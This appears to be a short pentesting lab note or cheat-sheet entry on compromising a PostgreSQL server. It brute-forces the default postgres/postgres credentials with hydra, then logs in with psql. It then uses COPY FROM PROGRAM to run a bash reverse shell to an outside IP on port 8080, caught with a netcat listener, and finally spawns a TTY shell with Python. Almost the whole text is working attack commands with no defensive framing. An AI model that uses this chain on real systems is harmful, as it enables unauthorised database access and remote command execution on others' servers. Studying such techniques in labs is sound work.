PostgreSQL

Add postgre notes to cheatsheet.

Checking for default credentials.

hydra -l postgres -p postgres $peppo postgres

https://exploit-notes.hdks.org/exploit/database/postgresql-pentesting/#remoteexploit-notes.hdks.org

Connecting to this.

psql -h $peppo -U postgres -W

# Password: postgres

We got logged in.

We will get Shell using the below command.

Start the listener first.

sudo rlwrap -cAr nc -lnvp 8080

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/192.168.45.244/8080 0>&1"';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

After running we got the initial shell.

Enable tty shell.

(command -v python && python -c 'import pty; pty.spawn("/bin/bash");') || (command -v python3 && python3 -c 'import pty; pty.spawn("/bin/bash");')